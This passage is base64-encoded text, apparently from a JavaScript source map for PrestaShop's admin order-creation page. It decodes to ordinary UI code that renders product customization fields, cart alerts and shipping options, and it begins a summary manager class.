2ZpZWxkVHlwZVRleHRdOiAkdGV4dElucHV0VGVtcGxhdGUsXG4gICAgfTtcblxuICAgIE9iamVjdC52YWx1ZXMoY3VzdG9taXphdGlvbkZpZWxkcykuZm9yRWFjaCgoY3VzdG9tRmllbGQpID0+IHtcbiAgICAgIGNvbnN0ICR0ZW1wbGF0ZSA9IHRlbXBsYXRlVHlwZU1hcFtjdXN0b21GaWVsZC50eXBlXS5jbG9uZSgpO1xuXG4gICAgICBpZiAoY3VzdG9tRmllbGQudHlwZSA9PT0gZmllbGRUeXBlRmlsZSkge1xuICAgICAgICAkdGVtcGxhdGUub24oJ2NoYW5nZScsIChlKSA9PiB7XG4gICAgICAgICAgY29uc3QgZmlsZU5hbWUgPSBlLnRhcmdldC5maWxlc1swXS5uYW1lO1xuXG4gICAgICAgICAgJChlLnRhcmdldCkubmV4dCgnLmN1c3RvbS1maWxlLWxhYmVsJykuaHRtbChmaWxlTmFtZSk7XG4gICAgICAgIH0pO1xuICAgICAgfVxuXG4gICAgICAkdGVtcGxhdGVcbiAgICAgICAgLmZpbmQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbUlucHV0KVxuICAgICAgICAuYXR0cignbmFtZScsIGBjdXN0b21pemF0aW9uc1ske2N1c3RvbUZpZWxkLmN1c3RvbWl6YXRpb25GaWVsZElkfV1gKVxuICAgICAgICAuZGF0YSgnY3VzdG9taXphdGlvbi1maWVsZC1pZCcsIGN1c3RvbUZpZWxkLmN1c3RvbWl6YXRpb25GaWVsZElkKTtcbiAgICAgICR0ZW1wbGF0ZVxuICAgICAgICAuZmluZChjcmVhdGVPcmRlck1hcC5wcm9kdWN0Q3VzdG9tSW5wdXRMYWJlbClcbiAgICAgICAgLmF0dHIoJ2ZvcicsIGBjdXN0b21pemF0aW9uc1ske2N1c3RvbUZpZWxkLmN1c3RvbWl6YXRpb25GaWVsZElkfV1gKVxuICAgICAgICAudGV4dChjdXN0b21GaWVsZC5uYW1lKTtcblxuICAgICAgaWYgKGN1c3RvbUZpZWxkLnJlcXVpcmVkID09PSB0cnVlKSB7XG4gICAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLnJlcXVpcmVkRmllbGRNYXJrKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gICAgICB9XG5cbiAgICAgICRjdXN0b21GaWVsZHNDb250YWluZXIuYXBwZW5kKCR0ZW1wbGF0ZSk7XG4gICAgfSk7XG5cbiAgICB0aGlzLnNob3dDdXN0b21pemF0aW9ucygpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgZXJyb3IgYWxlcnQgZm9yIGNhcnQgYmxvY2tcbiAgICpcbiAgICogQHBhcmFtIG1lc3NhZ2VcbiAgICovXG4gIHJlbmRlckNhcnRCbG9ja0Vycm9yQWxlcnQobWVzc2FnZSkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydEVycm9yQWxlcnRUZXh0KS50ZXh0KG1lc3NhZ2UpO1xuICAgIHRoaXMuc2hvd0NhcnRCbG9ja0Vycm9yKCk7XG4gIH1cblxuICAvKipcbiAgICogQ2xlYW5zIGNhcnQgYmxvY2sgYWxlcnRzIGNvbnRlbnQgYW5kIGhpZGVzIHRoZW1cbiAgICovXG4gIGNsZWFuQ2FydEJsb2NrQWxlcnRzKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydEVycm9yQWxlcnRUZXh0KS50ZXh0KCcnKTtcbiAgICB0aGlzLmhpZGVDYXJ0QmxvY2tFcnJvcigpO1xuICB9XG5cbiAgLyoqXG4gICAqIFNob3dzIGVycm9yIGFsZXJ0IGJsb2NrIG9mIGNhcnQgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dDYXJ0QmxvY2tFcnJvcigpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmNhcnRFcnJvckFsZXJ0QmxvY2spLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBlcnJvciBhbGVydCBibG9jayBvZiBjYXJ0IGJsb2NrXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlQ2FydEJsb2NrRXJyb3IoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0RXJyb3JBbGVydEJsb2NrKS5hZGRDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogU2hvd3MgcHJvZHVjdCBjdXN0b21pemF0aW9uIGNvbnRhaW5lclxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgc2hvd0N1c3RvbWl6YXRpb25zKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbWl6YXRpb25Db250YWluZXIpLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBwcm9kdWN0IGN1c3RvbWl6YXRpb24gY29udGFpbmVyXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlQ3VzdG9taXphdGlvbnMoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5wcm9kdWN0Q3VzdG9taXphdGlvbkNvbnRhaW5lcikuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEVtcHRpZXMgY3VzdG9taXphdGlvbiBmaWVsZHMgY29udGFpbmVyXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBjbGVhbkN1c3RvbWl6YXRpb25zKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbUZpZWxkc0NvbnRhaW5lcikuZW1wdHkoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyByZXN1bHQgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dSZXN1bHRCbG9jaygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RSZXN1bHRCbG9jaykucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGVzIHJlc3VsdCBibG9ja1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZVJlc3VsdEJsb2NrKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdFJlc3VsdEJsb2NrKS5hZGRDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogU2hvd3MgcHJvZHVjdHMgbGlzdFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgc2hvd1Byb2R1Y3RzTGlzdCgpIHtcbiAgICB0aGlzLiRwcm9kdWN0c1RhYmxlLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBwcm9kdWN0cyBsaXN0XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlUHJvZHVjdHNMaXN0KCkge1xuICAgIHRoaXMuJHByb2R1Y3RzVGFibGUuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEVtcHRpZXMgcHJvZHVjdHMgbGlzdFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgY2xlYW5Qcm9kdWN0c0xpc3QoKSB7XG4gICAgdGhpcy4kcHJvZHVjdHNUYWJsZS5maW5kKCd0Ym9keScpLmVtcHR5KCk7XG4gIH1cblxuICAvKipcbiAgICogRW1wdGllcyBjb21iaW5hdGlvbnMgc2VsZWN0XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBjbGVhbkNvbWJpbmF0aW9ucygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmNvbWJpbmF0aW9uc1NlbGVjdCkuZW1wdHkoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBjb21iaW5hdGlvbnMgcm93XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93Q29tYmluYXRpb25zKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY29tYmluYXRpb25zUm93KS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogSGlkZXMgY29tYmluYXRpb25zIHJvd1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZUNvbWJpbmF0aW9ucygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmNvbWJpbmF0aW9uc1JvdykuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIFNob3dzIHdhcm5pbmcgb2YgdGF4IGluY2x1ZGVkL2V4Y2x1ZGVkXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93VGF4V2FybmluZygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RUYXhXYXJuaW5nKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogSGlkZXMgd2FybmluZyBvZiB0YXggaW5jbHVkZWQvZXhjbHVkZWRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGhpZGVUYXhXYXJuaW5nKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdFRheFdhcm5pbmcpLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBwcm9kdWN0IG5vdCBmb3VuZCB3YXJuaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93Tm90Rm91bmQoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5ub1Byb2R1Y3RzRm91bmRXYXJuaW5nKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogSGlkZXMgcHJvZHVjdCBub3QgZm91bmQgd2FybmluZ1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZU5vdEZvdW5kKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAubm9Qcm9kdWN0c0ZvdW5kV2FybmluZykuYWRkQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIFRvZ2dsZXMgc2VhcmNoaW5nIHByb2R1Y3Qgbm90aWNlXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICB0b2dnbGVTZWFyY2hpbmdOb3RpY2UodmlzaWJsZSkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuc2VhcmNoaW5nUHJvZHVjdHNOb3RpY2UpLnRvZ2dsZUNsYXNzKCdkLW5vbmUnLCAhdmlzaWJsZSk7XG4gIH1cbn1cbiIsIi8qKlxuICogQ29weXJpZ2h0IHNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBQcmVzdGFTaG9wIGlzIGFuIEludGVybmF0aW9uYWwgUmVnaXN0ZXJlZCBUcmFkZW1hcmsgJiBQcm9wZXJ0eSBvZiBQcmVzdGFTaG9wIFNBXG4gKlxuICogTk9USUNFIE9GIExJQ0VOU0VcbiAqXG4gKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFLm1kLlxuICogSXQgaXMgYWxzbyBhdmFpbGFibGUgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIgYXQgdGhpcyBVUkw6XG4gKiBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjBcbiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvXG4gKiBvYnRhaW4gaXQgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIsIHBsZWFzZSBzZW5kIGFuIGVtYWlsXG4gKiB0byBsaWNlbnNlQHByZXN0YXNob3AuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuXG4gKlxuICogRElTQ0xBSU1FUlxuICpcbiAqIERvIG5vdCBlZGl0IG9yIGFkZCB0byB0aGlzIGZpbGUgaWYgeW91IHdpc2ggdG8gdXBncmFkZSBQcmVzdGFTaG9wIHRvIG5ld2VyXG4gKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgUHJlc3RhU2hvcCBmb3IgeW91clxuICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHBzOi8vZGV2ZG9jcy5wcmVzdGFzaG9wLmNvbS8gZm9yIG1vcmUgaW5mb3JtYXRpb24uXG4gKlxuICogQGF1dGhvciAgICBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnMgPGNvbnRhY3RAcHJlc3Rhc2hvcC5jb20+XG4gKiBAY29weXJpZ2h0IFNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBAbGljZW5zZSAgIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMCBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKi9cblxuaW1wb3J0IGNyZWF0ZU9yZGVyTWFwIGZyb20gJy4vY3JlYXRlLW9yZGVyLW1hcCc7XG5cbmNvbnN0IHskfSA9IHdpbmRvdztcblxuLyoqXG4gKiBNYW5pcHVsYXRlcyBVSSBvZiBTaGlwcGluZyBibG9jayBpbiBPcmRlciBjcmVhdGlvbiBwYWdlXG4gKi9cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFNoaXBwaW5nUmVuZGVyZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLiRjb250YWluZXIgPSAkKGNyZWF0ZU9yZGVyTWFwLnNoaXBwaW5nQmxvY2spO1xuICAgIHRoaXMuJGZvcm0gPSAkKGNyZWF0ZU9yZGVyTWFwLnNoaXBwaW5nRm9ybSk7XG4gICAgdGhpcy4kbm9DYXJyaWVyQmxvY2sgPSAkKGNyZWF0ZU9yZGVyTWFwLm5vQ2FycmllckJsb2NrKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBAcGFyYW0ge09iamVjdH0gc2hpcHBpbmdcbiAgICogQHBhcmFtIHtCb29sZWFufSBlbXB0eUNhcnRcbiAgICovXG4gIHJlbmRlcihzaGlwcGluZywgZW1wdHlDYXJ0KSB7XG4gICAgaWYgKGVtcHR5Q2FydCkge1xuICAgICAgdGhpcy5oaWRlQ29udGFpbmVyKCk7XG4gICAgfSBlbHNlIGlmIChzaGlwcGluZyAhPT0gbnVsbCkge1xuICAgICAgdGhpcy5kaXNwbGF5Rm9ybShzaGlwcGluZyk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHRoaXMuZGlzcGxheU5vQ2FycmllcnNXYXJuaW5nKCk7XG4gICAgfVxuICB9XG5cbiAgLyoqXG4gICAqIFNob3cgZm9ybSBibG9jayB3aXRoIHJlbmRlcmVkIGRlbGl2ZXJ5IG9wdGlvbnMgaW5zdGVhZCBvZiB3YXJuaW5nIG1lc3NhZ2VcbiAgICpcbiAgICogQHBhcmFtIHNoaXBwaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBkaXNwbGF5Rm9ybShzaGlwcGluZykge1xuICAgIHRoaXMuaGlkZU5vQ2FycmllckJsb2NrKCk7XG4gICAgdGhpcy5yZW5kZXJEZWxpdmVyeU9wdGlvbnMoc2hpcHBpbmcuZGVsaXZlcnlPcHRpb25zLCBzaGlwcGluZy5zZWxlY3RlZENhcnJpZXJJZCk7XG4gICAgdGhpcy5yZW5kZXJUb3RhbFNoaXBwaW5nKHNoaXBwaW5nLnNoaXBwaW5nUHJpY2UpO1xuICAgIHRoaXMucmVuZGVyRnJlZVNoaXBwaW5nU3dpdGNoKHNoaXBwaW5nLmZyZWVTaGlwcGluZyk7XG4gICAgdGhpcy5yZW5kZXJSZWN5Y2xlZFBhY2thZ2luZ1N3aXRjaChzaGlwcGluZy5yZWN5Y2xlZFBhY2thZ2luZyk7XG4gICAgdGhpcy5yZW5kZXJHaWZ0TWVzc2FnZUZpZWxkKHNoaXBwaW5nLmdpZnRNZXNzYWdlKTtcbiAgICB0aGlzLnJlbmRlckdpZnRTd2l0Y2goc2hpcHBpbmcuZ2lmdCk7XG4gICAgdGhpcy5zaG93Rm9ybSgpO1xuICAgIHRoaXMuc2hvd0NvbnRhaW5lcigpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgZnJlZSBzaGlwcGluZyBzd2l0Y2ggZGVwZW5kaW5nIG9uIGZyZWUgc2hpcHBpbmcgdmFsdWVcbiAgICpcbiAgICogQHBhcmFtIGlzRnJlZVNoaXBwaW5nXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJGcmVlU2hpcHBpbmdTd2l0Y2goaXNGcmVlU2hpcHBpbmcpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmZyZWVTaGlwcGluZ1N3aXRjaCkuZWFjaCgoa2V5LCBpbnB1dCkgPT4ge1xuICAgICAgaWYgKGlucHV0LnZhbHVlID09PSAnMScpIHtcbiAgICAgICAgaW5wdXQuY2hlY2tlZCA9IGlzRnJlZVNoaXBwaW5nO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgaW5wdXQuY2hlY2tlZCA9ICFpc0ZyZWVTaGlwcGluZztcbiAgICAgIH1cbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBAcGFyYW0gdXNlUmVjeWNsZWRQYWNrYWdpbmdcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlclJlY3ljbGVkUGFja2FnaW5nU3dpdGNoKHVzZVJlY3ljbGVkUGFja2FnaW5nKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5yZWN5Y2xlZFBhY2thZ2luZ1N3aXRjaCkuZWFjaCgoa2V5LCBpbnB1dCkgPT4ge1xuICAgICAgaWYgKGlucHV0LnZhbHVlID09PSAnMScpIHtcbiAgICAgICAgaW5wdXQuY2hlY2tlZCA9IHVzZVJlY3ljbGVkUGFja2FnaW5nO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgaW5wdXQuY2hlY2tlZCA9ICF1c2VSZWN5Y2xlZFBhY2thZ2luZztcbiAgICAgIH1cbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBAcGFyYW0gaXNBR2lmdFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcmVuZGVyR2lmdFN3aXRjaChpc0FHaWZ0KSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5pc0FHaWZ0U3dpdGNoKS5lYWNoKChrZXksIGlucHV0KSA9PiB7XG4gICAgICBpZiAoaW5wdXQudmFsdWUgPT09ICcxJykge1xuICAgICAgICBpbnB1dC5jaGVja2VkID0gaXNBR2lmdDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGlucHV0LmNoZWNrZWQgPSAhaXNBR2lmdDtcbiAgICAgIH1cbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBAcGFyYW0gZ2lmdE1lc3NhZ2VcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlckdpZnRNZXNzYWdlRmllbGQoZ2lmdE1lc3NhZ2UpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmdpZnRNZXNzYWdlRmllbGQpLnZhbChnaWZ0TWVzc2FnZSk7XG4gIH1cblxuICAvKipcbiAgICogU2hvdyB3YXJuaW5nIG1lc3NhZ2UgdGhhdCBubyBjYXJyaWVycyBhcmUgYXZhaWxhYmxlIGFuZCBoaWRlIGZvcm0gYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGRpc3BsYXlOb0NhcnJpZXJzV2FybmluZygpIHtcbiAgICB0aGlzLnNob3dDb250YWluZXIoKTtcbiAgICB0aGlzLmhpZGVGb3JtKCk7XG4gICAgdGhpcy5zaG93Tm9DYXJyaWVyQmxvY2soKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGRlbGl2ZXJ5IG9wdGlvbnMgc2VsZWN0aW9uIGJsb2NrXG4gICAqXG4gICAqIEBwYXJhbSBkZWxpdmVyeU9wdGlvbnNcbiAgICogQHBhcmFtIHNlbGVjdGVkVmFsXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJEZWxpdmVyeU9wdGlvbnMoZGVsaXZlcnlPcHRpb25zLCBzZWxlY3RlZFZhbCkge1xuICAgIGNvbnN0ICRkZWxpdmVyeU9wdGlvblNlbGVjdCA9ICQoY3JlYXRlT3JkZXJNYXAuZGVsaXZlcnlPcHRpb25TZWxlY3QpO1xuICAgICRkZWxpdmVyeU9wdGlvblNlbGVjdC5lbXB0eSgpO1xuXG4gICAgT2JqZWN0LnZhbHVlcyhkZWxpdmVyeU9wdGlvbnMpLmZvckVhY2goKG9wdGlvbikgPT4ge1xuICAgICAgY29uc3QgZGVsaXZlcnlPcHRpb24gPSB7XG4gICAgICAgIHZhbHVlOiBvcHRpb24uY2FycmllcklkLFxuICAgICAgICB0ZXh0OiBgJHtvcHRpb24uY2Fycmllck5hbWV9IC0gJHtvcHRpb24uY2FycmllckRlbGF5fWAsXG4gICAgICB9O1xuXG4gICAgICBpZiAoc2VsZWN0ZWRWYWwgPT09IGRlbGl2ZXJ5T3B0aW9uLnZhbHVlKSB7XG4gICAgICAgIGRlbGl2ZXJ5T3B0aW9uLnNlbGVjdGVkID0gJ3NlbGVjdGVkJztcbiAgICAgIH1cblxuICAgICAgJGRlbGl2ZXJ5T3B0aW9uU2VsZWN0LmFwcGVuZCgkKCc8b3B0aW9uPicsIGRlbGl2ZXJ5T3B0aW9uKSk7XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBkeW5hbWljIHZhbHVlIG9mIHNoaXBwaW5nIHByaWNlXG4gICAqXG4gICAqIEBwYXJhbSBzaGlwcGluZ1ByaWNlXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJUb3RhbFNoaXBwaW5nKHNoaXBwaW5nUHJpY2UpIHtcbiAgICBjb25zdCAkdG90YWxTaGlwcGluZ0ZpZWxkID0gJChjcmVhdGVPcmRlck1hcC50b3RhbFNoaXBwaW5nRmllbGQpO1xuICAgICR0b3RhbFNoaXBwaW5nRmllbGQuZW1wdHkoKTtcblxuICAgICR0b3RhbFNoaXBwaW5nRmllbGQuYXBwZW5kKHNoaXBwaW5nUHJpY2UpO1xuICB9XG5cbiAgLyoqXG4gICAqIFNob3cgd2hvbGUgc2hpcHBpbmcgY29udGFpbmVyXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93Q29udGFpbmVyKCkge1xuICAgIHRoaXMuJGNvbnRhaW5lci5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogSGlkZSB3aG9sZSBzaGlwcGluZyBjb250YWluZXJcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGhpZGVDb250YWluZXIoKSB7XG4gICAgdGhpcy4kY29udGFpbmVyLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93IGZvcm0gYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dGb3JtKCkge1xuICAgIHRoaXMuJGZvcm0ucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGUgZm9ybSBibG9ja1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZUZvcm0oKSB7XG4gICAgdGhpcy4kZm9ybS5hZGRDbGFzcygnZC1ub25lJyk7XG4gIH1cblxuICAvKipcbiAgICogU2hvdyB3YXJuaW5nIG1lc3NhZ2UgYmxvY2sgd2hpY2ggd2FybnMgdGhhdCBubyBjYXJyaWVycyBhcmUgYXZhaWxhYmxlXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93Tm9DYXJyaWVyQmxvY2soKSB7XG4gICAgdGhpcy4kbm9DYXJyaWVyQmxvY2sucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGUgd2FybmluZyBtZXNzYWdlIGJsb2NrIHdoaWNoIHdhcm5zIHRoYXQgbm8gY2FycmllcnMgYXJlIGF2YWlsYWJsZVxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaGlkZU5vQ2FycmllckJsb2NrKCkge1xuICAgIHRoaXMuJG5vQ2FycmllckJsb2NrLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxufVxuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuXG5pbXBvcnQge0V2ZW50RW1pdHRlcn0gZnJvbSAnQGNvbXBvbmVudHMvZXZlbnQtZW1pdHRlcic7XG5pbXBvcnQgUm91dGVyIGZyb20gJ0Bjb21wb25lbnRzL3JvdXRlcic7XG5pbXBvcnQgZXZlbnRNYXAgZnJvbSAnLi9ldmVudC1tYXAnO1xuaW1wb3J0IFN1bW1hcnlSZW5kZXJlciBmcm9tICcuL3N1bW1hcnktcmVuZGVyZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogTWFuYWdlcyBzdW1tYXJ5IGJsb2NrXG4gKi9cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFN1bW1hcnlNYW5hZ2VyIHtcbiAgY29uc3RydWN0b3IoKSB7XG4gICAgdGhpcy5yb3V0ZXIgPSBuZXcgUm91dGVyKCk7XG4gICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIgPSBuZXcgU3VtbWFyeVJlbmRlcmVyKCk7XG4gICAgdGhpcy5pbml0TGlzdGVuZXJzKCk7XG5cbiAgICByZXR1cm4ge1xuICAgICAgc2VuZFByb2Nlc3NPcmRlckVtYWlsOiAoY2FydElkKSA9PiB0aGlzLnNlbmRQcm9jZXNzT3JkZXJFbWFpbChjYXJ0SWQpLFxuICAgIH07XG4gIH1cblxuICAvKipcbiAgICogSW5pdHMgZXZlbnQgbGlz